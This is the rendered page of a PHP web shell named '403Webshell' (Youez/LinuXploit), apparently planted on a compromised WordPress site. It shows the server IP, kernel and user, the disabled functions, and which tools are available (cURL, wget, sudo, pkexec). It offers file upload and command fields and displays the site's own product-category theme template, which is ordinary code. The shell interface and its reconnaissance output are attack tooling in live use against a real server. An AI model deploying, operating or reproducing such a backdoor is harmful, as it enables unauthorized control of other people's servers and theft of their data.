403Webshell
Server IP : 172.67.216.182  /  Your IP : 162.158.162.41
Web Server : Apache
System : Linux krdc-ubuntu-s-2vcpu-4gb-amd-blr1-01.localdomain 5.15.0-142-generic #152-Ubuntu SMP Mon May 19 10:54:31 UTC 2025 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/wwwroot/coircraft.com/wp-content/themes/coircraft/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wwwroot/coircraft.com/wp-content/themes/coircraft/taxonomy-productcategory.php
<?php get_header();  
$term = get_queried_object();
//$prev_url = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
$taxonomy_list = array();
if(!empty($_REQUEST['id'])){
$id = $_REQUEST['id'];
$checkterms = wp_get_post_terms( $id, array( 'productcategory' ) );
if( ! empty( $checkterms ) && ! is_wp_error( $checkterms ) ) {
	foreach($checkterms as $tm){
		$taxonomy_list[] = $tm->term_id;
	}
    
}
}
//print_r($taxonomy_list);
?>
<section class="inner-cont custom-pg">
	<div class="container">
		<div class="inner-content products-wrapp">


				<h3><?php echo $term->name; ?></h3>

				<p><?php echo $term->description;  ?></p>


			<div class="product-row1">

				<div class="tab-wrapp">     
					<?php 
						$catposts_array = query_posts(
											array(
												'posts_per_page' => -1,
												'post_type' => 'products',
												'post_status'=>'publish',
												'tax_query' => array(
													array(
														'taxonomy' => 'productcategory',
														'field' => 'term_id',
														'terms' => $term->term_id,
													)
												)
											)
										);
					if(!empty($catposts_array)){
						$term_child = get_terms( 'productcategory', array( 'parent' => $term->term_id, 'orderby' => 'slug', 'hide_empty' => true ) );
						if(!empty($term_child)){
							
					?>
				    <div class="tab-top">
				      <div class=" container tab-outer">
				        <div class="row"> 
				          <div class="w3-bar w3-black">
							<?php $i=1; foreach ( $term_child as $t_child ) { 
							
							?>
				            <button class="w3-bar-item w3-button tablink 
							<?php if(!empty($id)){ if(in_array($t_child->term_id,$taxonomy_list)) echo 'active';   }else { if($i == 1) echo 'active'; } ?>" onclick="openCity(event,'tab<?php echo $i; ?>')"><?php echo $t_child->name; ?></button>
							<?php $i++; } ?>
				          </div>
				        </div>
				      </div> 
				    </div>
						

				  <div class="tab-body">  
					<?php $j=1; foreach ( $term_child as $t_child ) { ?>
				  	  <div id="tab<?php echo $j; ?>" class="tabs tab-row1" style="display:<?php if(!empty($id)){ if(in_array($t_child->term_id,$taxonomy_list)) echo 'block';  else echo 'none';   }else { if($j == 1) echo 'block'; else echo 'none'; } ?>;">
					  	  	<?php 
							$catsub_array = query_posts(
											array(
												'posts_per_page' => -1,
												'post_type' => 'products',
												'post_status'=>'publish',
												'tax_query' => array(
													array(
														'taxonomy' => 'productcategory',
														'field' => 'term_id',
														'terms' => $t_child->term_id,
													)
												)
											)
										);
					if(!empty($catsub_array)){
						$si = 1;
							?>
					  	  	<div class="tab-top inner-tab">
						      <div class=" container tab-outer">
						        <div class="row"> 
						          <div class="w3-bar w3-black">
								  <?php foreach($catsub_array as $sub){ ?>
						            <button class="w3-bar-item w3-button tablinks tabs<?php echo $j.$si; ?> <?php if(!empty($id)){ if($id==$sub->ID) echo 'active'; }else { if( $si == 1 ) echo 'active'; } ?>" onclick="openCitys(event,'tabs<?php echo $j.$si; ?>')"><?php echo $sub->post_title; ?></button>
						          <?php $si++; } ?>
								  </div>
						        </div>
						      </div> 
						    </div>
						
						  <div class="tab-body inner-tabs-wrapp">  
						  <?php $sj=1; foreach($catsub_array as $sub){ ?>
						  	  <div id="tabs<?php echo $j.$sj; ?>" class="tabsin tab-row1" style="display:<?php if(!empty($id)){ if($id == $sub->ID) echo 'block'; else echo 'none'; }else{ if($sj == 1) echo 'block'; else echo 'none'; } ?>;">
						  	  	  <?php echo apply_filters('the_content',$sub->post_content);   ?>
								  <?php 
								  $productdetails = get_post_meta($sub->ID,'productdetails',true);

								  if(!empty($productdetails)){
								  ?>
						  	  	<div class="facility-col1">

							        <div class="slider autoplay">

							            <?php foreach($productdetails as $dt){ 
										$product_image = wp_get_attachment_url($dt['product-image'],'full');
										?>
							            <div>
							            	<div class="facility-col2">
							                    <div class="facility-row1">
							                        <div class="facility-thm2">
														<span class="square-img">
													<?php if(!empty($dt['product-image'])){ ?>
														<a href="<?php echo $product_image; ?>" data-fancybox="gallery<?php echo $si; echo $sj; ?>">
							                            	<img src="<?php echo $product_image; ?>" alt="thumb1 publications" />
							                            </a>
													<?php }else{  ?>
															<img src="<?php echo TEMPLATE_URL; ?>assets/images/cat-noimage.jpg" alt="thumb1" />
													<?php } ?>
															<div class="txt">
																<h2><?php echo $dt['product']; ?></h2>
															</div>
														</span>

													
													

							                        </div>

							                    </div>
							                    <div class="facility-row2">
							                    	<p><?php echo $dt['product-specification']; ?></p>
							                    	<?php echo apply_filters('the_content',$dt['product-description']);  ?>
							                    </div>
							                </div>
							            </div>
					              		<?php } ?>



										
							          

							         </div>
							    </div>
								  <?php } ?>
							 </div>
						  <?php $sj++; } ?>
						  </div>
					<?php } ?>
				      </div>
						<?php $j++; } ?>
				  </div>
					<?php } else {


                 $si = 1;$j=1; ?>

                  <div class="tab-body"> 



                  	<?php $count = 0; foreach($catposts_array as $sub){ 
                           
                           $count=$count+1;

                  	}

                    
                  	
                  	for($a=1;$a<=$count;$a++){?>

                        
                        <div id="tab<?php echo $a; ?>" class="tabs tab-row1" style="display:<?php  if($a == 1) echo 'block'; else echo 'none';  ?>;">

                  	
							
					  	  	<div class="tab-top inner-tab">
						      <div class=" container tab-outer">
						        <div class="row"> 
						          <div class="w3-bar w3-black">
								  <?php foreach($catposts_array as $sub){ ?>
						            <button class="w3-bar-item w3-button tablinks tabs<?php echo $j.$si; ?> <?php if(!empty($id)){ if($id==$sub->ID) echo 'active'; }else { if($si == 1) echo 'active'; } ?>" onclick="openCitys(event,'tabs<?php echo $j.$si; ?>')"><?php echo $sub->post_title; ?></button>
						          <?php $si++; } ?>
								  </div>
						        </div>
						      </div> 
						    </div>


                
						   <div class="tab-body inner-tabs-wrapp">  
						  <?php $sj=1; foreach($catposts_array as $sub){ ?>
						  	  <div id="tabs<?php echo $j.$sj; ?>" class="tabsin tab-row1" style="display:<?php if(!empty($id)){ if($id == $sub->ID) echo 'block'; else echo 'none'; }else{ if($sj == 1) echo 'block'; else echo 'none'; } ?>;">
						  	  	  <?php echo apply_filters('the_content',$sub->post_content);   ?>
								  <?php 
								  $productdetails = get_post_meta($sub->ID,'productdetails',true);

								  if(!empty($productdetails)){
								  ?>
						  	  	<div class="facility-col1">

							        <div class="slider autoplay">

							            <?php foreach($productdetails as $dt){ 
										$product_image = wp_get_attachment_url($dt['product-image'],'full');
										?>
							            <div>
							            	<div class="facility-col2">
							                    <div class="facility-row1">
							                        <div class="facility-thm2">
														<span class="square-img">
													<?php if(!empty($dt['product-image'])){ ?>
														<a href="<?php echo $product_image; ?>" data-fancybox="gallery<?php echo $si; echo $sj; ?>">
							                            	<img src="<?php echo $product_image; ?>" alt="thumb1 publications" />
							                            </a>
													<?php }else{  ?>
															<img src="<?php echo TEMPLATE_URL; ?>assets/images/cat-noimage.jpg" alt="thumb1" />
													<?php } ?>
															<div class="txt">
																<h2 class="minh3"><?php echo $dt['product']; ?></h2>
																
															</div>
														</span>

													
													

							                        </div>

							                    </div>
							                    <div class="facility-row2">
							                    	<p><?php echo $dt['product-specification']; ?></p>
							                    	<?php echo apply_filters('the_content',$dt['product-description']);  ?>
							                    </div>
							                </div>
							            </div>
					              		<?php } ?>



										
							          

							         </div>
							    </div>
								  <?php } ?>
							 </div>
						  <?php $sj++; } ?>
						  </div>

</div>
<?php }?>

</div>










					<?php }	?>
<div class="loader-outer">
    <div class="loader" style="display:none;"></div>
 </div>
					<?php }else echo '<p class="not-found">No products found</p>'; ?>
  				</div>    

    <div class="row">
    
    <?php $shop_online_link = get_field('shop_online_link', 19);

    $brochure_download_link = get_field('brochure_download_link', 19);

    if(!empty($shop_online_link)){ ?> 

    <div class="col-md-6">
    
    <a href="<?php echo $shop_online_link;?>" target="_blank" class="btn btn2">Shop Online</a>
        
    </div>

    <?php } if(!empty($brochure_download_link)){ ?> 
        
    <div class="col-md-6">
    
    <a href="<?php echo site_url('/').$brochure_download_link;?>" class="btn btn2 bt-ryt">Brochure Downloads</a>
    
    </div>

    <?php }?>

    </div>
			</div>


		</div>

	</div>
</section>


<link rel="stylesheet" href="https://cdn.jsdelivr.net/gh/fancyapps/[email protected]/dist/jquery.fancybox.min.css" /> 
<script src="https://cdn.jsdelivr.net/gh/fancyapps/[email protected]/dist/jquery.fancybox.min.js"></script>

<?php get_footer();  ?>

Youez - 2016 - github.com/yon3zu
LinuXploit